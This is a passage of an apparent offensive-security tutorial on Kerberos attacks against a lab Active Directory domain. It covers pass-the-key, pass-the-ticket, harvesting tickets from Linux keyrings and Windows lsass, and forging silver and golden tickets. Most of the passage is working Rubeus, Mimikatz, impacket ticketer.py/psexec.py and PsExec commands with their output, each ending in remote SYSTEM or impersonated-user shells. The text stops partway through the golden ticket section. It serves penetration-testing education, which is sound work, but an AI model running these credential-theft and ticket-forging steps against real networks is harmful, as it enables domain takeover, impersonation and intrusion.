C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Ask TGT [*] Using rc4_hmac hash: 2a3de7fe356ee524cc9f3d579f2e0aa7 [*] Using domain controller: Lab-WDC02.jurassic.park (10.200.220.3) [*] Building AS-REQ (w/ preauth) for: 'jurassic.park\velociraptor' [*] Connecting to 10.200.220.3:88 [*] Sent 237 bytes [*] Received 1455 bytes [+] TGT request successful! [*] base64(ticket.kirbi): doIFSDCCBUSgAwIBBaEDAgEWooIEVjCCBFJhggROMIIESqADAgEFoQ8bDUpVUkFTU0lDLlBBUkuiIjAg oAMCAQKhGTAXGwZrcmJ0Z3QbDWp1cmFzc2ljLnBhcmujggQMMIIECKADAgESoQMCAQKiggP6BIID9nUy VTaRmuyCOYJ/Fz0Z5We4crR6qWrxpEPDZHV09VmBp0GYWwUxwGM4M2hkbFJss6i0RG1NvKUy55D2loPI nKXSD5kwEjJeMsVAQWvvQCNuIrVu/XY9eGhL405ryVYNELdPxOuBNXYYZoQYLo1qxcoEkH/ag4QTnG7z 6qH1o5RWwhmqMHNWp77LGu3lBWd0lb3t7d3pfGCU7hgWRvA390dQZ+Vzrcqfs5sHzoii8ondT9LqyvYI 4P6DwhXH1wWOVhF9Sf23wUSG5iIZvbTrHuNZvFcPmUYXF2zd0Dtx+L3ovYdWaw+7HDmu4NPspvuAlG2x Jj/cbGS1KuCjAtSkT9XMVu0WEFY8gIbew35l8t5H7b+8fcjTyOLFJyMIuEzTjdfzdGJ8NYsqAxG0wCtd w4OCuqUUHuffwD4L27PC+fVVR7D5htfy6MbWVQrVqfgGIhqdC68I5COjyknobf+ksO9EDcn8+7zDUXtE dbt9XZtt0VTNyZUfSyOMGW+pkpB8wA3QjzahpgrLVE/8oHGAkFQ6sf/DOr0CYinn7iC8lJ1zZj1hcDa6 Y+RVSARW4V++03uQPwtCN6mpuhIumikFCQsOTMQky8QKcsFGHdsCqySQsAoOtdWLHpuYFnaA0VDb3M+i 4yc5286jaF6NRRPBZJEZnSTCRNwhJCR3bgO3C5bzWKFCOFMjFy5GOCZoZdYIbKiVABG2ZFUuyMedCDQQ YJrLO6oFoCL5Yeu2vrviFZUSpbUVZlxSDHnASuo1PUCfnm7oF3E6aw6/Q/0/dONSQzImXC7H+t2Z7ym5 4pIzkgIZ/p5ODWfKr/XrrBUjmPPDzGyRUz9q1NKPv0SVi8sC5wkWAe1tipU5G582PrBWuS+Nv9XLAoKL +LR4iWnUw3o3/96IyCiHiCGy/g1DLJehxb5/wxDxwrnpDW50kFs7bwFrbD+8qWwd8apZF/iiUyzRYJAu jDOTyfJtZ7Vm2mOwSm1KeUboZ3u9StIkNUbmjR/wXvwmvUCXDppO/LeMT9w5uejGNVr+QRLPL+brAkbB GHFoSTR0/L6k1+8vkJzAJCOA3Yir3JJd8xRdnad4Q7Pl67CjsGKrJddt6iBzoHKPabQ/SbDVIV4veMX7 5KtcYHM8E2CvV2sV8KD1QIOSo00Ya/C/EUekjWsG3YGW7UulxDwb95mDRf6ntr7jMBC8G2jd49IuJcWR QTDFuys4L/NsEAqLo5RPNk6bz1SpjpWlmG95hRg5DAe1M+u8aRD6NDs3A8fH6b7fZkQ+1I/Xl5sBhfTt 7FGbTI4mG+VlEHbJpl47KTAO+jJgYj3m0/vgcwBlO4lCMFucB3B488VEamPJU3M66hMOy6OB3TCB2qAD AgEAooHSBIHPfYHMMIHJoIHGMIHDMIHAoBswGaADAgEXoRIEEFg+Y8LhMIWpLiabLQKBdBihDxsNSlVS QVNTSUMuUEFSS6IZMBegAwIBAaEQMA4bDHZlbG9jaXJhcHRvcqMHAwUAQOEAAKURGA8yMDE5MDIyODEx NTc1N1qmERgPMjAxOTAyMjgyMTU3NTdapxEYDzIwMTkwMzA3MTE1NzU3WqgPGw1KVVJBU1NJQy5QQVJL qSIwIKADAgECoRkwFxsGa3JidGd0Gw1qdXJhc3NpYy5wYXJr [*] Action: Import Ticket [+] Ticket successfully imported! C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Versión 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami jurassic\velociraptor C:\Windows\system32>

In case of not passing the parameter /ptt to Rubeus asktgt, the ticket will be shown in base64. The following Powershell command can be used to write it into a file:

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String(""))

As this is a little cumbersome, I expect that the program will automatically save the ticket in future versions. After that, the command Rubeus ptt /ticket: can be used to inject that ticket.

Pass The Ticket (PTT)

This kind of attack is similar to Pass the Key, but instead of using hashes to request for a ticket, the ticket itself is stolen and used to authenticate as its owner. The way of recolecting these tickets changes from Linux to Windows machines, therefore each process will be introduced in its own section.

Harvesting tickets from Linux

On Linux, tickets are stored in credential caches or ccaches. There are 3 main types, which indicate where tickets can be found:

Files, by default under /tmp directory, in the form of krb5cc_%{uid}.

Kernel Keyrings, an special space in the Linux kernel provided for storing keys.

Process memory, used when only one process needs to use the tickets.

To verify what type of storage is used in a specific machine, the variable default_ccache_name must be checked in the /etc/krb5.conf file, which by default has read permission to any user. In case of this parameter being missing, its default value is FILE:/tmp/krb5cc_%{uid}.

Hence, tickets are usually saved in files, which can only be read by the owner and, like any file in Linux, by root. In case of having access to those ticket files, just with copy-pasting them into another machine, they can be used to perform Pass The Ticket attacks.

Example of tickets in a Linux server:

[[email protected]]# ls -lah /tmp/krb5* -rw-------. 1 root root 1.4K Mar 5 16:25 /tmp/krb5cc_0 -rw-------. 1 trex domain users 1.2K Mar 7 10:08 /tmp/krb5cc_1120601113_ZFxZpK -rw-------. 1 velociraptor domain users 490 Mar 7 10:14 /tmp/krb5cc_1120601115_uDoEa0

In order to extract tickets from the other 2 sources (keyrings and processes), a great paper, Kerberos Credential Thievery (GNU/Linux), released in 2017, explains ways of recovering the tickets from them.

Moreover, the paper also contains several scripts to substract tickets from remote machines. In the case of keyrings, their script heracles.sh can be used. In the case of a process holding the tickets, a memory analysis is required to found the tickets inside.

Furthermore, I have developed a tool in C based on the heracles.sh script called tickey, to extract tickets from keyrings. The tool was created because the command keyctl, heavily used by heracles.sh, is not installed by default in Linux systems, so a direct call to the keyctl syscall can solve this problem.

Moreover, tickets in session or user keyrings only can be accesed by the owner user in the same session. Therefore, when tickey is executed as root, it searchs for another user sessions and injects itself in each one of them in order to retrieve those tickets.

An example of tickey output is shown below:

[[email protected] /]# /tmp/tickey -i [*] krb5 ccache_name = KEYRING:session:sess_%{uid} [+] root detected, so... DUMP ALL THE TICKETS!! [*] Trying to inject in trex[1120601113] session... [+] Successful injection at process 21866 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache [*] Trying to inject in velociraptor[1120601115] session... [+] Successful injection at process 20752 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache [X] [uid:0] Error retrieving tickets [[email protected] /]# klist /tmp/__krb_1120601113.ccache Ticket cache: FILE:/tmp/__krb_1120601113.ccache Default principal: [email protected] Valid starting Expires Service principal 05/09/2019 15:48:36 05/10/2019 01:48:36 krbtgt/[email protected] renew until 05/10/2019 15:48:32

Harvesting tickets from Windows

In Windows, tickets are handled and stored by the lsass (Local Security Authority Subsystem Service) process, which is responsible for security. Hence, to retrieve tickets from a Windows system, it is necessary to communicate with lsass and ask for them. As a non-administrative user only owned tickets can be fetched, however, as machine administrator, all of them can be harvested. For this purpose, the tools Mimikatz or Rubeus can be used as shown below:

Mimikatz harvesting:

PS C:\Users\velociraptor> .\mimikatz.exe .#####. mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( [email protected] ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # sekurlsa::tickets /export ... <-----Mimikatz Output-----> ... Authentication Id : 0 ; 42211838 (00000000:028419fe) Session : RemoteInteractive from 2 User Name : trex Domain : JURASSIC Logon Server : LAB-WDC01 Logon Time : 28/02/2019 12:14:43 SID : S-1-5-21-1339291983-1349129144-367733775-1113 * Username : trex * Domain : JURASSIC.PARK * Password : (null) Group 0 - Ticket Granting Service [00000000] Start/End/MaxRenew: 05/03/2019 9:48:37 ; 05/03/2019 19:15:59 ; 07/03/2019 12:14:43 Service Name (02) : LDAP ; Lab-WDC02.jurassic.park ; jurassic.park ; @ JURASSIC.PARK Target Name (02) : LDAP ; Lab-WDC02.jurassic.park ; jurassic.park ; @ JURASSIC.PARK Client Name (01) : trex ; @ JURASSIC.PARK ( JURASSIC.PARK ) Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac bd16db915bdfb0af3d57509bdea3d92bf8f0ef9976a16ebb6510111597c6d8b6 Ticket : 0x00000012 - aes256_hmac ; kvno = 4 [...] * Saved to file [0;28419fe][email protected] ! Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 28/02/2019 12:14:43 ; 28/02/2019 22:14:43 ; 07/03/2019 12:14:43 Service Name (02) : krbtgt ; JURASSIC.PARK ; @ JURASSIC.PARK Target Name (--) : @ JURASSIC.PARK Client Name (01) : trex ; @ JURASSIC.PARK ( $$Delegation Ticket$$ ) Flags 60a00000 : pre_authent ; renewable ; forwarded ; forwardable ; Session Key : 0x00000012 - aes256_hmac 21666ffd3511fb2d1e127ad96e322c3a6e8be644eabba4821ba5c425b4a58842 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;28419fe][email protected] ! [00000001] Start/End/MaxRenew: 05/03/2019 9:15:59 ; 05/03/2019 19:15:59 ; 07/03/2019 12:14:43 Service Name (02) : krbtgt ; JURASSIC.PARK ; @ JURASSIC.PARK Target Name (02) : krbtgt ; JURASSIC.PARK ; @ JURASSIC.PARK Client Name (01) : trex ; @ JURASSIC.PARK ( JURASSIC.PARK ) Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac f79644af74ade15f4178e5cea3b0ce071b601f78ef4b11c09ed971142dd3bb50 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;28419fe][email protected] ! ... <-----Mimikatz Output-----> ... mimikatz # exit Bye!

Rubeus harvesting in powershell:

PS C:\Users\Administrator> .\Rubeus dump ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 [*] Action: Dump Kerberos Ticket Data (All Users) UserName : Administrator Domain : JURASSIC LogonId : 0xdee0cb2 UserSID : S-1-5-21-1339291983-1349129144-367733775-500 AuthenticationPackage : Kerberos LogonType : RemoteInteractive LogonTime : 07/03/2019 12:35:47 LogonServer : LAB-WDC01 LogonServerDNSDomain : JURASSIC.PARK UserPrincipalName : [email protected] ... <-----Rubeus Output-----> ... ServiceName : krbtgt/JURASSIC.PARK TargetName : krbtgt/jurassic.park ClientName : trex DomainName : JURASSIC.PARK TargetDomainName : JURASSIC.PARK AltTargetDomainName : JURASSIC.PARK SessionKeyType : aes256_cts_hmac_sha1 Base64SessionKey : 1gokewLDdgqAnN3a1KNR15q3GaZM3duydjLfb037KLs= KeyExpirationTime : 01/01/1601 1:00:00 TicketFlags : pre_authent, initial, renewable, forwardable StartTime : 07/03/2019 16:28:23 EndTime : 08/03/2019 2:28:23 RenewUntil : 14/03/2019 16:28:23 TimeSkew : 0 EncodedTicketSize : 1284 Base64EncodedTicket : doIFADCCBPygAwIBBaEDAgEWooIEBjCCBAJhggP+MIID+qADAgEFoQ8bDUpVUkFTU0lDLlBBUkuiIjAgoAMCAQKhGTAXGwZrcmJ0 Z3QbDUpVUkFTU0lDLlBBUkujggO8MIIDuKADAgESoQMCAQKiggOqBIIDpp9Nm0OTu82mrTl0Tekr8KEF3eX23qxHKcryCuzDV/Pd wUNpSc+1Oxa0k2WWvZwa+H9DW4I8fr0BE7oHMs6GaNFEjDJdO/l0qGUlCwyha05+9lg832SDEERgAA1wQDLjPogyBBTrP5OhGmf0 JevqulePfTUSxXJ/gNvP6JCQGAf+zUL12dqGkqyq//TOWSQjkgAy3NZtc1Ed3XnfI9L4VUo9YdY5fVSEci7kRm6Mk11sTV7bXSzd 4123fXLA3Usx+xJVKh5JPhvtSyDKRDNdcP2YKPoTyEuKUpsl8KhzbkEpdLPqzR+2uLHNmMzWDdsxTlytzZF9kzB9llUB2C9YLgzD Qkrx4/EIDH9w3u3pVVgAmZp1Y9sQhVmI9exIYVSPM/XA8vPAL1KDGyux+ojkVDAl/Kezqg6DWtLZO86Rpb7L7LRvk8jX/4Y4Yi0T MlsZjahwXn1N3ZulUiF7pvYzh9es9MkS/X/YqF6CiDogblLEaFniMYWNYFYMmhjfIZHgX3lyIj8UljRwdeFdt7Ezf/pmP1rl5uON hMlagv+prw4UcvN2u4Yeb+ybXMisMH4xonJIBr7/MKEhmbHVmKuoT+LBMjfN7iChY82rPqbKW0J+nn4yvC3zjLlOC5HNSTdMgGV5 FSAY34RO3SCOe14jetHmq9OQ5rLO5ymWfet5jcYy+ShtrYoNTxEPodNZyFqrBDT4JZ6T9jgoYMIu+g3VcoCRN5XDUJM+tBzZ6QUu 91D0ULl3wdvbEhh89hPAy1AHEWLtAth55/CJ0kNpWLPvLLz34OLzNg8nzCG2x9mFVP4MKvUw4JJN3LSkYRrxIg5eehSuQul43ZqQ hxi/+OyRoVwSfqqMeYO2QSeADaIiaFTwWaIDAu0pr1Vk+XfJGuHUWBjRocHu3dasPMhGoRlV5ehHxc58gnJ6UzkfcVDV7j1Skn7e os6wa6ejFOrMKNSB+cBqBcvBMCCksHsnQSd4gxUiw/7Masc9M+f9Xi3vf+f0LyiSKDdUIDOekMh/RqQhGs9UKSjp6/Q7EhMCd90J UDGbwBQZhTOBZApdo1VQ609kXfv654RSZ1OzSgaaK6P0GJdJGJ5NGIuNl1n0oEOZVB0FfATLH/xC9uD97VkH2mQ8jnFHHxseUle2 qMhkG+NsLOD7c2c9pzUNEbc4EZEjwMFx4eJwEeLnpXOMOMS6ix1YMuZjof6Q8xNmq05vpNMAOScgV7d3QmMvJLNy6LB6gBKPPBqG 4kCjgeUwgeKgAwIBAKKB2gSB132B1DCB0aCBzjCByzCByKArMCmgAwIBEqEiBCDWCiR7AsN2CoCc3drUo1HXmrcZpkzd27J2Mt9v Tfsou6EPGw1KVVJBU1NJQy5QQVJLohEwD6ADAgEBoQgwBhsEdHJleKMHAwUAQOAAAKURGA8yMDE5MDMwNzE1MjgyM1qmERgPMjAx OTAzMDgwMTI4MjNapxEYDzIwMTkwMzE0MTUyODIzWqgPGw1KVVJBU1NJQy5QQVJLqSIwIKADAgECoRkwFxsGa3JidGd0Gw1KVVJB U1NJQy5QQVJL ... <-----Rubeus Output-----> ... [*] Enumerated 23 total tickets [*] Extracted 23 total tickets PS C:\Users\Administrator> [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("doIFADCCBPygAwIBBaEDAgEWooIEBjCCBAJhggP+MIID+qADAgEFoQ8bDUpVUkFTU0lDLlBBUkuiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDUpVUkFTU0lDLlBBUkujggO8MIIDuKADAgESoQMCAQKiggOqBIIDpp9Nm0OTu82mrTl0Tekr8KEF3eX23qxHKcryCuzDV/PdwUNpSc+1Oxa0k2WWvZwa+H9DW4I8fr0BE7oHMs6GaNFEjDJdO/l0qGUlCwyha05+9lg832SDEERgAA1wQDLjPogyBBTrP5OhGmf0JevqulePfTUSxXJ/gNvP6JCQGAf+zUL12dqGkqyq//TOWSQjkgAy3NZtc1Ed3XnfI9L4VUo9YdY5fVSEci7kRm6Mk11sTV7bXSzd4123fXLA3Usx+xJVKh5JPhvtSyDKRDNdcP2YKPoTyEuKUpsl8KhzbkEpdLPqzR+2uLHNmMzWDdsxTlytzZF9kzB9llUB2C9YLgzDQkrx4/EIDH9w3u3pVVgAmZp1Y9sQhVmI9exIYVSPM/XA8vPAL1KDGyux+ojkVDAl/Kezqg6DWtLZO86Rpb7L7LRvk8jX/4Y4Yi0TMlsZjahwXn1N3ZulUiF7pvYzh9es9MkS/X/YqF6CiDogblLEaFniMYWNYFYMmhjfIZHgX3lyIj8UljRwdeFdt7Ezf/pmP1rl5uONhMlagv+prw4UcvN2u4Yeb+ybXMisMH4xonJIBr7/MKEhmbHVmKuoT+LBMjfN7iChY82rPqbKW0J+nn4yvC3zjLlOC5HNSTdMgGV5FSAY34RO3SCOe14jetHmq9OQ5rLO5ymWfet5jcYy+ShtrYoNTxEPodNZyFqrBDT4JZ6T9jgoYMIu+g3VcoCRN5XDUJM+tBzZ6QUu91D0ULl3wdvbEhh89hPAy1AHEWLtAth55/CJ0kNpWLPvLLz34OLzNg8nzCG2x9mFVP4MKvUw4JJN3LSkYRrxIg5eehSuQul43ZqQhxi/+OyRoVwSfqqMeYO2QSeADaIiaFTwWaIDAu0pr1Vk+XfJGuHUWBjRocHu3dasPMhGoRlV5ehHxc58gnJ6UzkfcVDV7j1Skn7eos6wa6ejFOrMKNSB+cBqBcvBMCCksHsnQSd4gxUiw/7Masc9M+f9Xi3vf+f0LyiSKDdUIDOekMh/RqQhGs9UKSjp6/Q7EhMCd90JUDGbwBQZhTOBZApdo1VQ609kXfv654RSZ1OzSgaaK6P0GJdJGJ5NGIuNl1n0oEOZVB0FfATLH/xC9uD97VkH2mQ8jnFHHxseUle2qMhkG+NsLOD7c2c9pzUNEbc4EZEjwMFx4eJwEeLnpXOMOMS6ix1YMuZjof6Q8xNmq05vpNMAOScgV7d3QmMvJLNy6LB6gBKPPBqG4kCjgeUwgeKgAwIBAKKB2gSB132B1DCB0aCBzjCByzCByKArMCmgAwIBEqEiBCDWCiR7AsN2CoCc3drUo1HXmrcZpkzd27J2Mt9vTfsou6EPGw1KVVJBU1NJQy5QQVJLohEwD6ADAgEBoQgwBhsEdHJleKMHAwUAQOAAAKURGA8yMDE5MDMwNzE1MjgyM1qmERgPMjAxOTAzMDgwMTI4MjNapxEYDzIwMTkwMzE0MTUyODIzWqgPGw1KVVJBU1NJQy5QQVJLqSIwIKADAgECoRkwFxsGa3JidGd0Gw1KVVJBU1NJQy5QQVJL"))

And finally, after executing any of those tools, tickets are dumped, ready to use except for those expired.

Swaping Linux and Windows tickets between platforms

Before start using the tickets, it is important to have them in the proper format, due to Windows and Linux using different approaches to save them. In order to convert from ccache (Linux file format) to kirbi (Windows file format used by Mimikatz and Rubeus), and vice versa, the following tools can be used:

The ticket_converter script. The only needed parameters are the current ticket and the output file, it automatically detects the input ticket file format and converts it. For example:

[email protected]:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi Converting ccache => kirbi [email protected]:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache Converting kirbi => ccache

Kekeo, to convert them in Windows. This tool was not checked due to requiring a license in their ASN1 library, but I think it is worth mentioning.

From Linux

To perform the pass the ticket attack by using psexec.py from impacket, just do the following:

[email protected]:impacket-examples# export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK [email protected]:impacket-examples# python psexec.py jurassic.park/[email protected] -k -no-pass Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Requesting shares on labwws02.jurassic.park..... [*] Found writable share ADMIN$ [*] Uploading file SptvdLDZ.exe [*] Opening SVCManager on labwws02.jurassic.park..... [*] Creating service zkNG on labwws02.jurassic.park..... [*] Starting service zkNG..... [!] Press help for extra shell commands Microsoft Windows [Versión 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system C:\Windows\system32>

As with PTK attacks, in order to use a ticket with any impacket tool, just specify the KRB5CCNAME environment variable and the -no-pass -k parameters.

While performing this technique, an error was shown by impacket: [-] SMB SessionError: STATUS_ACCESS_DENIED…, even if the user had access to the remote machine. This issue was caused by the fact that a ticket without the A flag (pre-authenticated) was used, because that domain user did not need Kerberos pre-authentication. To check ticket flags in Linux, the command klist -f can be used, which is part of the krb5 package. Example:

From Windows

In a Windows machine, Rubeus or Mimikatz can be used in order to inject tickets in the current session, no special privileges are required to accomplish this task. After that, it is possible to use a tool like PsExec to execute commands in remote machines as the new user. Example executions of both tools are shown below:

Mimikatz example:

PS C:\Users\velociraptor> .\mimikatz.exe .#####. mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( [email protected] ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # kerberos::ptt [0;28419fe][email protected] * File: '[0;28419fe][email protected]': OK mimikatz # exit Bye! PS C:\Users\velociraptor> klist Current LogonId is 0:0x34f9571 Cached Tickets: (1) #0> Client: trex @ JURASSIC.PARK Server: krbtgt/JURASSIC.PARK @ JURASSIC.PARK KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent Start Time: 3/5/2019 9:15:59 (local) End Time: 3/5/2019 19:15:59 (local) Renew Time: 3/7/2019 12:14:43 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 PS C:\Users\velociraptor> .\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami jurassic\trex C:\Windows\system32>

Rubeus example:

C:\Users\velociraptor>.\Rubeus.exe ptt /ticket:[0;28419fe][email protected] ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Import Ticket [+] Ticket successfully imported! C:\Users\velociraptor>klist Current LogonId is 0:0x34f958e Cached Tickets: (1) #0> Client: trex @ JURASSIC.PARK Server: krbtgt/JURASSIC.PARK @ JURASSIC.PARK KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent Start Time: 3/5/2019 9:15:59 (local) End Time: 3/5/2019 19:15:59 (local) Renew Time: 3/7/2019 12:14:43 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 C:\Users\velociraptor>.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami jurassic\trex C:\Windows\system32>

After injecting the ticket of a user account, it is possible to act on behalf of that user in remote machines, but not in the local one, where Kerberos doesn’t apply. Remember that TGT tickets are more useful than TGS ones, as they are not restricted to one service only.

Silver ticket

The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of a user account is owned. Thus, it is possible to gain access to that service by forging a custom TGS with the maximum privileges inside it.

In this case, the NTLM hash of a computer account (which is kind of a user account in AD) is owned. Hence, it is possible to craft a ticket in order to get into that machine with administrator privileges through the SMB service.

It also must be taken into account that it is possible to forge tickets using the AES Kerberos keys (AES128 and AES256), which are calculated from the password as well, and can be used by Impacket and Mimikatz to craft the tickets. Moreover, these keys, unlike the NTLM hash, are salted with the domain and username. In order to know more about how this keys are calculated, it is recommended to read the section 4.4 of MS-KILE or the Get-KerberosAESKey.ps1 script.

From Linux

As usual, it is possible to perform these attacks from a Linux machine by using the examples provided by impacket. In this case ticketer.py is used to forge a TGS:

[email protected]:impacket-examples# python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for jurassic.park/stegosaurus [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncTGSRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncTGSRepPart [*] Saving ticket in stegosaurus.ccache [email protected]:impacket-examples# export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache [email protected]:impacket-examples# python psexec.py jurassic.park/[email protected] -k -no-pass Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Requesting shares on labwws02.jurassic.park..... [*] Found writable share ADMIN$ [*] Uploading file JhRQHMnu.exe [*] Opening SVCManager on labwws02.jurassic.park..... [*] Creating service Drvl on labwws02.jurassic.park..... [*] Starting service Drvl..... [!] Press help for extra shell commands Microsoft Windows [Versión 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system C:\Windows\system32>

Execution is similar to PTT attacks, but in this case the ticket is created manually. After that, as usual, it is possible to set the ticket in the KRB5CCNAME environment variable and use it with the -no-pass -k parameters in any of the impacket examples.

From Windows

In Windows, Mimikatz can be used to craft the ticket. Next, the ticket is injected with Rubeus, and finally a remote shell can be obtained thanks to PsExec. It must be taken into account that tickets can be forged in a local machine, which is not in the target network, and after that send it to a machine in the network to inject it. An execution example is shown below:

C:\Users\triceratops>.\mimikatz.exe .#####. mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( [email protected] ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park User : stegosaurus Domain : jurassic.park (JURASSIC) SID : S-1-5-21-1339291983-1349129144-367733775 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: b18b4b218eccad1c223306ea1916885f - rc4_hmac_nt Service : cifs Target : labwws02.jurassic.park Lifetime : 28/02/2019 13:42:05 ; 25/02/2029 13:42:05 ; 25/02/2029 13:42:05 -> Ticket : ticket.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! mimikatz # exit Bye! C:\Users\triceratops>.\Rubeus.exe ptt /ticket:ticket.kirbi ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Import Ticket [+] Ticket successfully imported! C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Versión 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami jurassic\stegosaurus C:\Windows\system32>

Additionally, the Mimikatz module kerberos::ptt can be used to inject the ticket instead of using Rubeus, as shown in the PTT attack section.

Golden ticket

The Golden ticket technique is similar to the Silver ticket one, however, in this case a TGT is crafted by using the NTLM hash of the krbtgt AD account. The advantage of forging a TGT instead of TGS is being able to access any service (or machine) in the domain.

The krbtgt account NTLM hash can be obtained from the lsass process or the NTDS.dit file of any DC in the domain. It is also possible to get that NTLM through a DCsync attack, which can be performed either with the lsadump::dcsync module of Mimikatz or the impacket example secretsdump.py. Usually, domain admin privileges or similar are required, no matter what technique is used.

From Linux

The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used:

[email protected]:impacket-examples# python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for jurassic.park/stegosaurus [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncAsRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncASRepPart [*] Saving ticket in stegosaurus.ccache [email protected]:impacket-examples# export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache [email protected]:impacket-examples# python psexec.py jurassic.park/[email protected] -k -no-pass Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Requesting shares on lab-wdc02.jurassic.park..... [*] Found writable share ADMIN$ [*] Uploading file goPntOCB.exe [*] Opening SVCManager on lab-wdc02.jurassic.park..... 